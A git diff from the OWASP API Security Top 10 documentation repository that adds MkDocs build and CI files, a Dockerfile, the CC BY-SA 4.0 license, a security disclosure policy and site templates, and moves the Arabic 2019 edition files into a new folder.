diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 000000000..ecdcbfbef --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,2 @@ +github: OWASP +custom: "https://owasp.org/donate/?reponame=www-project-api-security&title=OWASP+API+Security+Project" diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 000000000..d756529a3 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,25 @@ +name: ci +on: + push: + branches: + - master +permissions: + contents: write +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: actions/setup-python@v4 + with: + python-version: 3.x + - run: echo "cache_id=$(date --utc '+%V')" >> $GITHUB_ENV + - uses: actions/cache@v3 + with: + key: mkdocs-material-${{ env.cache_id }} + path: .cache + restore-keys: | + mkdocs-material- + - run: pip install mkdocs-material==9.0.9 + - run: pip install git+https://github.com/PauloASilva/mkdocs-monorepo-plugin@feat/i18n + - run: mkdocs gh-deploy --force diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3ce4dc210..62344d869 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,5 +1,4 @@ -How to Contribute -================= +# How to Contribute When contributing to this repository, please first discuss the change you wish to make via submitting an issue with the owners of this repository before making @@ -9,6 +8,7 @@ discussion. ## Branching Model This repository holds two main branches with an infinite lifetime: + * `master` is the default branch which always reflects the latest release. * `develop` is the main branch reflecting the latest delivered changes for the next release. When the `develop` branch reaches a stable point and is ready to @@ -22,38 +22,58 @@ branches have a limited lifespan, since they will be removed eventually. Contributions to this repository are welcome. For ease of managing, please follow the steps below: -1. Fork this repository to your account. +1. Fork this repository to your account. + +2. Clone your copy of this repository, locally. + + ``` + git clone https://github.com/YOU/API-Security.git + ``` + +3. Create a new branch based on `develop` (e.g., `fix/foreword-section`). + + ``` + git checkout develop && git checkout -b fix/foreword-section + ``` + +4. Apply your changes. + + Please, always follow our style conventions. + + + Although there's an [`.editorconfig` file][1] on repository's root, your + editor may not support it. To learn more about [EditorConfig][2] and text + editors/IDEs support, check the website: https://editorconfig.org/. + You can preview your changes, [rendering the web site locally][4]. + +5. Commit your changes. + + 1. Check modified files and add only required ones (e.g., build artifacts + SHOULD NOT be tracked). + 2. The first line of the commit message should provide a brief description + of your changes. You can go into more details on the optional commit + message body. -2. Clone your copy of this repository, locally. - ``` - git clone https://github.com/YOU/API-Security.git - ``` -3. Create a new branch based on `develop` (e.g., `fix/foreword-section`). - ``` - git checkout develop && git checkout -b fix/foreword-section - ``` -4. Apply your changes. +6. Push changes to your public repository. - Please, always follow our style conventions. + ``` + git push origin fix/foreword-section + ``` - Although there's an [`.editorconfig` file][1] on repository's root, your - editor may not support it. To learn more about [EditorConfig][2] and text - editors/IDEs support, check the website: https://editorconfig.org/. +7. Open a Pull Request from your `fix/foreword-section` to the upstream + repository `develop` branch. -5. Commit your changes. +### Rendering the Web Site Locally - 1. Check modified files and add only required ones (e.g., build artifacts - SHOULD NOT be tracked). - 2. The first line of the commit message should provide a brief description of - your changes. You can go into more details on the optional commit message - body. +The web site is built using [Material for MkDocs][3] and several plugin. +Although you can manually install everything, we've bundled everything into a +Docker image that you can use to render the web site locally: -6. Push changes to your public repository. - ``` - git push origin fix/foreword-section - ``` -7. Open a Pull Request from your `fix/foreword-section` to the upstream - repository `develop` branch. +``` +docker compose up +``` -[1]: .editorconfig +[1]: https://github.com/OWASP/API-Security/blob/master/.editorconfig [2]: https://editorconfig.org/ +[3]: https://squidfunk.github.io/mkdocs-material/ +[4]: #rendering-the-web-site-locally diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 000000000..2ae6bdd7a --- /dev/null +++ b/Dockerfile @@ -0,0 +1,7 @@ +FROM squidfunk/mkdocs-material:9.0.9 + +ENV MKDOCS_MONOREPO_REPO=https://github.com/PauloASilva/mkdocs-monorepo-plugin +ENV MKDOCS_MONOREPO_BRANCH="feat/i18n" + +RUN python -m pip install git+$MKDOCS_MONOREPO_REPO@$MKDOCS_MONOREPO_BRANCH +RUN python -m pip install pymdown-extensions diff --git a/LICENSE b/LICENSE new file mode 100644 index 000000000..2660aada4 --- /dev/null +++ b/LICENSE @@ -0,0 +1,243 @@ +Creative Commons Attribution-ShareAlike 4.0 International Public License + +By exercising the Licensed Rights (defined below), You accept and agree to be +bound by the terms and conditions of this Creative Commons +Attribution-ShareAlike 4.0 International Public License ("Public License"). To +the extent this Public License may be interpreted as a contract, You are granted +the Licensed Rights in consideration of Your acceptance of these terms and +conditions, and the Licensor grants You such rights in consideration of benefits +the Licensor receives from making the Licensed Material available under these +terms and conditions. + +Section 1 – Definitions. + + Adapted Material means material subject to Copyright and Similar Rights that + is derived from or based upon the Licensed Material and in which the + Licensed Material is translated, altered, arranged, transformed, or + otherwise modified in a manner requiring permission under the Copyright and + Similar Rights held by the Licensor. For purposes of this Public License, + where the Licensed Material is a musical work, performance, or sound + recording, Adapted Material is always produced where the Licensed Material + is synched in timed relation with a moving image. Adapter's License means + the license You apply to Your Copyright and Similar Rights in Your + contributions to Adapted Material in accordance with the terms and + conditions of this Public License. BY-SA Compatible License means a license + listed at creativecommons.org/compatiblelicenses, approved by Creative + Commons as essentially the equivalent of this Public License. Copyright and + Similar Rights means copyright and/or similar rights closely related to + copyright including, without limitation, performance, broadcast, sound + recording, and Sui Generis Database Rights, without regard to how the rights + are labeled or categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. + Effective Technological Measures means those measures that, in the absence + of proper authority, may not be circumvented under laws fulfilling + obligations under Article 11 of the WIPO Copyright Treaty adopted on + December 20, 1996, and/or similar international agreements. Exceptions and + Limitations means fair use, fair dealing, and/or any other exception or + limitation to Copyright and Similar Rights that applies to Your use of the + Licensed Material. License Elements means the license attributes listed in + the name of a Creative Commons Public License. The License Elements of this + Public License are Attribution and ShareAlike. Licensed Material means the + artistic or literary work, database, or other material to which the Licensor + applied this Public License. Licensed Rights means the rights granted to + You subject to the terms and conditions of this Public License, which are + limited to all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. Licensor + means the individual(s) or entity(ies) granting rights under this Public + License. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such as + reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material available + to the public including in ways that members of the public may access the + material from a place and at a time individually chosen by them. Sui + Generis Database Rights means rights other than copyright resulting from + Directive 96/9/EC of the European Parliament and of the Council of 11 March + 1996 on the legal protection of databases, as amended and/or succeeded, as + well as other essentially equivalent rights anywhere in the world. You + means the individual or entity exercising the Licensed Rights under this + Public License. Your has a corresponding meaning. + +Section 2 – Scope. + + License grant. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, + non-exclusive, irrevocable license to exercise the Licensed Rights in the + Licensed Material to: reproduce and Share the Licensed Material, in whole or + in part; and produce, reproduce, and Share Adapted Material. Exceptions and + Limitations. For the avoidance of doubt, where Exceptions and Limitations + apply to Your use, this Public License does not apply, and You do not need + to comply with its terms and conditions. Term. The term of this Public + License is specified in Section 6(a). Media and formats; technical + modifications allowed. The Licensor authorizes You to exercise the Licensed + Rights in all media and formats whether now known or hereafter created, and + to make technical modifications necessary to do so. The Licensor waives + and/or agrees not to assert any right or authority to forbid You from making + technical modifications necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective Technological + Measures. For purposes of this Public License, simply making modifications + authorized by this Section 2(a)(4) never produces Adapted Material. + Downstream recipients. Offer from the Licensor – Licensed Material. Every + recipient of the Licensed Material automatically receives an offer from the + Licensor to exercise the Licensed Rights under the terms and conditions of + this Public License. Additional offer from the Licensor – Adapted Material. + Every recipient of Adapted Material from You automatically receives an offer + from the Licensor to exercise the Licensed Rights in the Adapted Material + under the conditions of the Adapter’s License You apply. No downstream + restrictions. You may not offer or impose any additional or different terms + or conditions on, or apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the Licensed Rights by + any recipient of the Licensed Material. No endorsement. Nothing in this + Public License constitutes or may be construed as permission to assert or + imply that You are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, the Licensor or + others designated to receive attribution as provided in Section + 3(a)(1)(A)(i). + + Other rights. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, privacy, and/or other + similar personality rights; however, to the extent possible, the Licensor + waives and/or agrees not to assert any such rights held by the Licensor to + the limited extent necessary to allow You to exercise the Licensed Rights, + but not otherwise. Patent and trademark rights are not licensed under this + Public License. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed Rights, whether + directly or through a collecting society under any voluntary or waivable + statutory or compulsory licensing scheme. In all other cases the Licensor + expressly reserves any right to collect such royalties. + +Section 3 – License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the following +conditions. + + Attribution. + + If You Share the Licensed Material (including in modified form), You + must: retain the following if it is supplied by the Licensor with the + Licensed Material: identification of the creator(s) of the Licensed + Material and any others designated to receive attribution, in any + reasonable manner requested by the Licensor (including by pseudonym if + designated); a copyright notice; a notice that refers to this Public + License; a notice that refers to the disclaimer of warranties; a URI or + hyperlink to the Licensed Material to the extent reasonably practicable; + indicate if You modified the Licensed Material and retain an indication + of any previous modifications; and indicate the Licensed Material is + licensed under this Public License, and include the text of, or the URI + or hyperlink to, this Public License. You may satisfy the conditions in + Section 3(a)(1) in any reasonable manner based on the medium, means, and + context in which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or hyperlink to + a resource that includes the required information. If requested by the + Licensor, You must remove any of the information required by Section + 3(a)(1)(A) to the extent reasonably practicable. ShareAlike. + + In addition to the conditions in Section 3(a), if You Share Adapted Material + You produce, the following conditions also apply. The Adapter’s License You + apply must be a Creative Commons license with the same License Elements, + this version or later, or a BY-SA Compatible License. You must include the + text of, or the URI or hyperlink to, the Adapter's License You apply. You + may satisfy this condition in any reasonable manner based on the medium, + means, and context in which You Share Adapted Material. You may not offer + or impose any additional or different terms or conditions on, or apply any + Effective Technological Measures to, Adapted Material that restrict exercise + of the rights granted under the Adapter's License You apply. + +Section 4 – Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that apply to Your +use of the Licensed Material: + + for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, + reuse, reproduce, and Share all or a substantial portion of the contents of + the database; if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database Rights, then + the database in which You have Sui Generis Database Rights (but not its + individual contents) is Adapted Material, including for purposes of Section + 3(b); and You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not replace Your +obligations under this Public License where the Licensed Rights include other +Copyright and Similar Rights. + +Section 5 – Disclaimer of Warranties and Limitation of Liability. + + Unless otherwise separately undertaken by the Licensor, to the extent + possible, the Licensor offers the Licensed Material as-is and as-available, + and makes no representations or warranties of any kind concerning the + Licensed Material, whether express, implied, statutory, or other. This + includes, without limitation, warranties of title, merchantability, fitness + for a particular purpose, non-infringement, absence of latent or other + defects, accuracy, or the presence or absence of errors, whether or not + known or discoverable. Where disclaimers of warranties are not allowed in + full or in part, this disclaimer may not apply to You. To the extent + possible, in no event will the Licensor be liable to You on any legal theory + (including, without limitation, negligence) or otherwise for any direct, + special, indirect, incidental, consequential, punitive, exemplary, or other + losses, costs, expenses, or damages arising out of this Public License or + use of the Licensed Material, even if the Licensor has been advised of the + possibility of such losses, costs, expenses, or damages. Where a limitation + of liability is not allowed in full or in part, this limitation may not + apply to You. + + The disclaimer of warranties and limitation of liability provided above + shall be interpreted in a manner that, to the extent possible, most closely + approximates an absolute disclaimer and waiver of all liability. + +Section 6 – Term and Termination. + + This Public License applies for the term of the Copyright and Similar Rights + licensed here. However, if You fail to comply with this Public License, then + Your rights under this Public License terminate automatically. + + Where Your right to use the Licensed Material has terminated under Section + 6(a), it reinstates: automatically as of the date the violation is cured, + provided it is cured within 30 days of Your discovery of the violation; or + upon express reinstatement by the Licensor. For the avoidance of doubt, + this Section 6(b) does not affect any right the Licensor may have to seek + remedies for Your violations of this Public License. For the avoidance of + doubt, the Licensor may also offer the Licensed Material under separate + terms or conditions or stop distributing the Licensed Material at any time; + however, doing so will not terminate this Public License. Sections 1, 5, 6, + 7, and 8 survive termination of this Public License. + +Section 7 – Other Terms and Conditions. + + The Licensor shall not be bound by any additional or different terms or + conditions communicated by You unless expressly agreed. Any arrangements, + understandings, or agreements regarding the Licensed Material not stated + herein are separate from and independent of the terms and conditions of this + Public License. + +Section 8 – Interpretation. + + For the avoidance of doubt, this Public License does not, and shall not be + interpreted to, reduce, limit, restrict, or impose conditions on any use of + the Licensed Material that could lawfully be made without permission under + this Public License. To the extent possible, if any provision of this + Public License is deemed unenforceable, it shall be automatically reformed + to the minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License without + affecting the enforceability of the remaining terms and conditions. No term + or condition of this Public License will be waived and no failure to comply + consented to unless expressly agreed to by the Licensor. Nothing in this + Public License constitutes or may be interpreted as a limitation upon, or + waiver of, any privileges and immunities that apply to the Licensor or You, + including from the legal processes of any jurisdiction or authority. + +Creative Commons is not a party to its public licenses. Notwithstanding, +Creative Commons may elect to apply one of its public licenses to material it +publishes and in those instances will be considered the “Licensor.” The text of +the Creative Commons public licenses is dedicated to the public domain under the +CC0 Public Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as otherwise +permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the use of the +trademark “Creative Commons” or any other trademark or logo of Creative Commons +without its prior written consent including, without limitation, in connection +with any unauthorized modifications to any of its public licenses or any other +arrangements, understandings, or agreements concerning use of licensed material. +For the avoidance of doubt, this paragraph does not form part of the public +licenses. + +Creative Commons may be contacted at creativecommons.org. diff --git a/README.md b/README.md index e05d62b6b..eae8fa32d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,4 @@ -OWASP API Security Top 10 -========================= +# OWASP API Security Top 10 This project is designed to address the ever-increasing number of organizations that are deploying potentially sensitive APIs as part of their software @@ -34,21 +33,25 @@ This project aims to: * [Erez Yalon][0] * [Inon Shkedy][5] +* [Paulo Silva][6] ## Licensing **The OWASP API Security Project documents are free to use!** The OWASP API Security Project is licensed under the [Creative Commons -Attribution-ShareAlike 3.0 license][1], so you can copy, distribute, and +Attribution-ShareAlike 4.0 license][1], so you can copy, distribute, and transmit the work. You can also adapt it, and use it commercially, as long as you attribute the work. If you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one. [0]: https://www.owasp.org/index.php/User:ErezYalon -[1]: http://creativecommons.org/licenses/by-sa/3.0/ +[1]: http://creativecommons.org/licenses/by-sa/4.0/ [2]: https://github.com/OWASP/API-Security/blob/develop/2019/en/dist/owasp-api-security-top-10.pdf [3]: https://github.com/OWASP/API-Security/tree/develop/ [4]: https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md [5]: https://www.owasp.org/index.php/User:Inon +[6]: mailto:paulo.silva@owasp.org +[cfd-2022]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ + diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 000000000..2c5e8b80b --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,59 @@ +# Security Policy + + ## Supported Versions + + This repository contains documentation and educational content. + There are no executable components or deployed services associated with this project. + + The `master` branch reflects the latest maintained version of the documentation. + + | Version | Supported | + |--------|-----------| + | master | ✅ | + | Others | ❌ | + + --- + + ## Reporting a Vulnerability + + This repository does **not** directly process user data, authentication, or runtime execution. + However, if you believe you have identified: + + - A security issue affecting linked tooling or referenced examples + - A misconfiguration that could lead to unsafe usage patterns + - A vulnerability related to CI/CD workflows or repository automation + + Please follow **responsible disclosure** practices. + + ### How to Report + - Open a **private GitHub Security Advisory** for this repository, **or** + - Contact the OWASP project maintainers through official OWASP communication channels + + Please include: + - A clear description of the issue + - Steps to reproduce (if applicable) + - Potential impact + - Suggested remediation (if available) + + --- + + ## Disclosure Process + + - Reports will be reviewed by project maintainers + - If applicable, fixes will be discussed and implemented + - Public disclosure may occur after remediation, with reporter credit if desired + + --- + + ## Security Best Practices for Contributors + + - Do not include secrets, tokens, or credentials in documentation or workflows + - Avoid using user-controlled input in CI/CD pipelines without validation + - Follow the OWASP Cheat Sheet Series for secure development and governance practices + + --- + + ## Recognition + + Security researchers and contributors who responsibly disclose issues may be acknowledged + in release notes or project documentation, unless anonymity is requested. diff --git a/VERSION b/VERSION index f5d2a5858..9aa34646d 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.6.3 \ No newline at end of file +2.7.0 \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 000000000..efe428ba3 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,12 @@ +version: "3.9" + +services: + + preview: + build: . + image: owasp/api-top10:latest + container_name: "owasp_api-top10" + ports: + - "8000:8000" + volumes: + - .:/docs:ro diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md new file mode 120000 index 000000000..44fcc6343 --- /dev/null +++ b/docs/CONTRIBUTING.md @@ -0,0 +1 @@ +../CONTRIBUTING.md \ No newline at end of file diff --git a/docs/README.md b/docs/README.md new file mode 120000 index 000000000..32d46ee88 --- /dev/null +++ b/docs/README.md @@ -0,0 +1 @@ +../README.md \ No newline at end of file diff --git a/docs/assets/images/favicon.png b/docs/assets/images/favicon.png new file mode 100644 index 000000000..ab0a6664b Binary files /dev/null and b/docs/assets/images/favicon.png differ diff --git a/docs/assets/images/icon.png b/docs/assets/images/icon.png new file mode 100644 index 000000000..24128482d Binary files /dev/null and b/docs/assets/images/icon.png differ diff --git a/docs/assets/stylesheets/extra.css b/docs/assets/stylesheets/extra.css new file mode 100644 index 000000000..a52e371a0 --- /dev/null +++ b/docs/assets/stylesheets/extra.css @@ -0,0 +1,12 @@ +.md-tabs { + background-color: var(--md-code-bg-color); + color: var(--md-footer-bg-color); +} + +.md-header__button.md-logo img { + height: 1.6rem; +} + +.md-grid { + max-width: 67rem; +} diff --git a/docs/overrides/partials/header.html b/docs/overrides/partials/header.html new file mode 100644 index 000000000..958821358 --- /dev/null +++ b/docs/overrides/partials/header.html @@ -0,0 +1,67 @@ +{% set class = "md-header" %} +{% if "navigation.tabs.sticky" in features %} + {% set class = class ~ " md-header--lifted" %} +{% endif %} +
+ + {% if "navigation.tabs.sticky" in features %} + {% if "navigation.tabs" in features %} + {% include "partials/tabs.html" %} + {% endif %} + {% endif %} +
diff --git a/docs/overrides/partials/i18n_languages.html b/docs/overrides/partials/i18n_languages.html new file mode 100644 index 000000000..0f0a41ad6 --- /dev/null +++ b/docs/overrides/partials/i18n_languages.html @@ -0,0 +1,21 @@ +
+
+ {% set icon = config.theme.icon.alternate or "material/translate" %} + +
+
    + {% for lang in config.extra.alternate -%} +
  • + {% set segments = page.url.split('/') %} + {% set site_url = config.site_url.rstrip('/') %} + + {{ lang.name }} + +
    • + {% endfor %} +
+
+
+
diff --git a/docs/overrides/partials/languages/el-gr.html b/docs/overrides/partials/languages/el-gr.html new file mode 100644 index 000000000..8dce1793d --- /dev/null +++ b/docs/overrides/partials/languages/el-gr.html @@ -0,0 +1,74 @@ + + + +{% macro t(key) %}{{ { + "language": "el", + "action.edit": "Επεξεργασία αυτής της σελίδας", + "action.skip": "Μετάβαση στο περιεχόμενο", + "action.view": "Προβολή πηγαίου κώδικα", + "announce.dismiss": "Μην το ξαναδείξετε αυτό", + "blog.archive": "Aρχείο", + "blog.categories": "Κατηγορίες", + "blog.categories.in": "Στο", + "blog.continue": "Περισσότερα", + "blog.draft": "Πρόχειρο", + "blog.index": "Eπιστροφή", + "blog.references": "Σχετικοί σύνδεσμοι", + "clipboard.copy": "Αντιγραφή στο πρόχειρο", + "clipboard.copied": "Αντιγράφηκε στο πρόχειρο", + "consent.accept": "Αποδοχή", + "consent.manage": "Περισσότερες επιλογές", + "consent.reject": "Απόρριψη", + "footer": "Υποσέλιδο", + "footer.next": "Επόμενο", + "footer.previous": "Προηγούμενο", + "header": "Κεφαλίδα", + "meta.comments": "Σχόλια", + "meta.source": "Πηγή", + "nav": "Πλοήγηση", + "readtime.one": "1 λεπτό διάβασμα", + "readtime.other": "# λεπτά διάβασμα", + "rss.created": "Ροές Δεδομένων RSS", + "rss.updated": "Ροές Δεδομένων RSS. Τελευταία νέα", + "search": "Αναζήτηση", + "search.placeholder": "Αναζήτηση", + "search.share": "Διαμοίραση", + "search.reset": "Καθαρισμός", + "search.result.initializer": "Αρχικοποίηση αναζήτησης", + "search.result.placeholder": "Πληκτρολογήστε για να αρχίσει η αναζήτηση", + "search.result.none": "δεν βρήκε κάποιο έγγραφο", + "search.result.one": "1 έγγραφο που ταιριάζει", + "search.result.other": "# έγγραφα που ταιριάζουν", + "search.result.more.one": "1 ακόμα σε αυτήν τη σελίδα", + "search.result.more.other": "# ακόμα σε αυτήν τη σελίδα", + "search.result.term.missing": "Λείπει", + "select.language": "Επιλογή γλώσσας", + "select.version": "Επιλογή έκδοσης", + "source": "Μετάβαση στο αποθετήριο", + "source.file.contributors": "Συνεισφέροντες", + "source.file.date.created": "Δημιουργήθηκε", + "source.file.date.updated": "τελευταία ενημέρωση", + "tabs": "Καρτέλες", + "toc": "Πίνακας περιεχομένων", + "top": "Επιστροφή στην αρχή" +}[key] }}{% endmacro %} diff --git a/docs/overrides/partials/languages/pt-pt.html b/docs/overrides/partials/languages/pt-pt.html new file mode 100644 index 000000000..8362a8af0 --- /dev/null +++ b/docs/overrides/partials/languages/pt-pt.html @@ -0,0 +1,76 @@ + + + +{% macro t(key) %}{{ { + "language": "pt", + "action.edit": "Editar esta página", + "action.skip": "Ir para o conteúdo", + "action.view": "Ver fonte desta página", + "announce.dismiss": "Não mostrar novamente", + "blog.archive": "Arquivo", + "blog.categories": "Categorias", + "blog.categories.in": "em", + "blog.continue": "Continuar leitura", + "blog.draft": "Rascunho", + "blog.index": "Voltar ao índice", + "blog.meta": "Metadados", + "blog.references": "Ligações relacionadas", + "clipboard.copy": "Copiar para área de transferência", + "clipboard.copied": "Copiado para área de transferência", + "consent.accept": "Aceitar", + "consent.manage": "Gerir configurações", + "consent.reject": "Rejeitar", + "footer": "Rodapé", + "footer.next": "Próximo", + "footer.previous": "Anterior", + "header": "Cabeçalho", + "meta.comments": "Comentários", + "meta.source": "Fonte", + "nav": "Navegação", + "readtime.one": "1 min de leitura", + "readtime.other": "# min de leitura", + "rss.created": "canal RSS", + "rss.updated": "canal RSS com conteúdo atualizado", + "search": "Pesquisar", + "search.config.lang": "pt", + "search.placeholder": "Buscar", + "search.share": "Compartilhar", + "search.reset": "Limpar", + "search.result.initializer": "Inicializando a pesquisa", + "search.result.placeholder": "Digite para iniciar a busca", + "search.result.none": "Nenhum resultado encontrado", + "search.result.one": "1 resultado encontrado", + "search.result.other": "# resultados encontrados", + "search.result.more.one": "Mais 1 nesta página", + "search.result.more.other": "Mais # nesta página", + "search.result.term.missing": "Ausente", + "select.language": "Selecione o idioma", + "select.version": "Selecione a versão", + "source": "Ir ao repositório", + "source.file.contributors": "Colaboradores", + "source.file.date.created": "Criada", + "source.file.date.updated": "Última atualização", + "tabs": "Abas", + "toc": "Índice", + "top": "Voltar ao topo" +}[key] }}{% endmacro %} diff --git a/docs/overrides/partials/nav-item.html b/docs/overrides/partials/nav-item.html new file mode 100644 index 000000000..bdd6eb3dd --- /dev/null +++ b/docs/overrides/partials/nav-item.html @@ -0,0 +1,87 @@ +{% macro render(nav_item, path, level) %} + {% set class = "md-nav__item" %} + {% if nav_item.active %} + {% set class = class ~ " md-nav__item--active" %} + {% endif %} + {% if nav_item.children %} + {% if "navigation.sections" in features and level == 1 + ( + "navigation.tabs" in features + ) %} + {% set class = class ~ " md-nav__item--section" %} + {% endif %} +
  • + {% set checked = "checked" if nav_item.active %} + {% if "navigation.expand" in features and not checked %} + + {% else %} + + {% endif %} + {% set indexes = [] %} + {% if "navigation.indexes" in features %} + {% for nav_item in nav_item.children %} + {% if nav_item.is_index and not index is defined %} + {% set _ = indexes.append(nav_item) %} + {% endif %} + {% endfor %} + {% endif %} + {% if not indexes %} + + {% else %} + {% set index = indexes | first %} + {% set class = "md-nav__link--active" if index == page %} +
    + {{ nav_item.title }} + {% if nav_item.children | length > 1 %} + + {% endif %} +
    + {% endif %} + +
    • + {% elif nav_item == page %} +
  • + {% set toc = page.toc %} + + {% set first = toc | first %} + {% if first and first.level == 1 %} + {% set toc = first.children %} + {% endif %} + {% if toc %} + + {% endif %} + + {{ nav_item.title }} + + {% if toc %} + {% include "partials/toc.html" %} + {% endif %} +
    • + {% else %} +
  • + + {{ nav_item.title }} + +
    • + {% endif %} +{% endmacro %} +{{ render(nav_item, path, level) }} \ No newline at end of file diff --git a/2019/ar/src/0x00-header.md b/editions/2019/ar/0x00-header.md similarity index 79% rename from 2019/ar/src/0x00-header.md rename to editions/2019/ar/0x00-header.md index 7c7d8efb8..7db282b47 100644 --- a/2019/ar/src/0x00-header.md +++ b/editions/2019/ar/0x00-header.md @@ -1,9 +1,10 @@ -
    +--- +title: '' +--- -![OWASP LOGO](images/owasp-logo.png) +![OWASP LOGO](./images/owasp-logo.png) - -### OWASP API Security Top 10 2019 +# OWASP API Security Top 10 2019 أهم عشرة مخاطر أمنية تستهدف واجهة برمجة التطبيقات (API) @@ -16,5 +17,3 @@ | https://owasp.org | هذا العمل يخضع لترخيص [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | [1]: http://creativecommons.org/licenses/by-sa/4.0/ - -
    diff --git a/2019/ar/src/0x00-notice.md b/editions/2019/ar/0x00-notice.md similarity index 92% rename from 2019/ar/src/0x00-notice.md rename to editions/2019/ar/0x00-notice.md index 5f291b368..2c895fd72 100644 --- a/2019/ar/src/0x00-notice.md +++ b/editions/2019/ar/0x00-notice.md @@ -1,5 +1,3 @@ -
    - # تنوية هذه هي النسخة النصية من مستند OWASP API Security Top 10 و يتم استخدام النسخة القابلة للتوزيع على هيئة ملف PDF @@ -10,6 +8,3 @@ * Inon Shkedy [1]: ../../CONTRIBUTING.md - -
    - diff --git a/2019/ar/src/0x00-toc.md b/editions/2019/ar/0x00-toc.md similarity index 95% rename from 2019/ar/src/0x00-toc.md rename to editions/2019/ar/0x00-toc.md index 460f5d97e..710b41d17 100644 --- a/2019/ar/src/0x00-toc.md +++ b/editions/2019/ar/0x00-toc.md @@ -1,6 +1,4 @@ -
    - -## جدول المحتويات +# جدول المحتويات * [محتوى الوثيقة](0x00-toc.md) * [عن منظمة أواسب](0x01-about-owasp.md) @@ -23,9 +21,3 @@ * [أفضل الممارسات للتطوير بشكل آمن](0xb1-next-devsecops.md) * [المنهجية والبيانات](0xd0-about-data.md) * [الإقرار](0xd1-acknowledgments.md) - - -
    - - - diff --git a/2019/ar/src/0x01-about-owasp.md b/editions/2019/ar/0x01-about-owasp.md similarity index 97% rename from 2019/ar/src/0x01-about-owasp.md rename to editions/2019/ar/0x01-about-owasp.md index 37557ef98..8a00ab800 100644 --- a/2019/ar/src/0x01-about-owasp.md +++ b/editions/2019/ar/0x01-about-owasp.md @@ -1,7 +1,4 @@ -
    - - -## عن منظمة أواسب +# عن منظمة أواسب هو مشروع/مجتمع لأمن تطبيقات الويب مفتوح المصدر يهدف إلى تمكين المؤسسات من تطوير أو شراء أو صيانة تطبيقاتها بشكل آمن و موثوق. @@ -44,6 +41,3 @@ [5]: https://lists.owasp.org/mailman/listinfo [6]: https://www.owasp.org [7]: http://creativecommons.org/licenses/by-sa/4.0/ - - -
    diff --git a/2019/ar/src/0x02-foreword.md b/editions/2019/ar/0x02-foreword.md similarity index 98% rename from 2019/ar/src/0x02-foreword.md rename to editions/2019/ar/0x02-foreword.md index a6f70c5cb..ee2e60114 100644 --- a/2019/ar/src/0x02-foreword.md +++ b/editions/2019/ar/0x02-foreword.md @@ -1,6 +1,4 @@ -
    - -## مقدمة +# مقدمة تعتبر واجهة برمجة التطبيقات (API) أحد العناصر الأساسية للابتكار في عالم التطبيقات، حيث نجدها في التطبيقات البنكية وتجارة التجزئة والنقل وصولاً إلى إنترنت الأشياء والمركبات ذاتية القيادة والمدن الذكية. كما تعد واجهات برمجة التطبيقات (API) جزءًا مهمًا من التطبيقات وخصوصًا الخاصة بالهواتف المحمولة الحديثة والبرمجيات كخدمة SaaS وتطبيقات الويب، بالإضافة لاستخدامها في تطبيقات المستخدمين والشركاء والتطبيقات الداخلية. @@ -26,7 +24,3 @@ [2]: ./0x10-api-security-risks.md [3]: ./0xd0-about-data.md [4]: ./0xd1-acknowledgments.md - - -
    - diff --git a/2019/ar/src/0x03-introduction.md b/editions/2019/ar/0x03-introduction.md similarity index 91% rename from 2019/ar/src/0x03-introduction.md rename to editions/2019/ar/0x03-introduction.md index b48c92f28..95e04d833 100644 --- a/2019/ar/src/0x03-introduction.md +++ b/editions/2019/ar/0x03-introduction.md @@ -1,10 +1,6 @@ -
    +# مدخل - -## مدخل - - -#### مرحبًا بك في أهم عشرة مخاطر أمنية تستهدف واجهة برمجة التطبيقات (API) +## مرحبًا بك في أهم عشرة مخاطر أمنية تستهدف واجهة برمجة التطبيقات (API) مرحبًا بك في الإصدار الأول من OWASP API Security Top 10. إذا كنت على دراية بسلسلة OWASP Top 10، ستلاحظ أوجه التشابه بينهم: حيث نوصي بقراءة OWASP Top 10 قبل الشروع في قراءة هذا المحتوى. @@ -18,6 +14,3 @@ [2]: ./0xd0-about-data.md [3]: https://github.com/OWASP/API-Security [4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project - - -
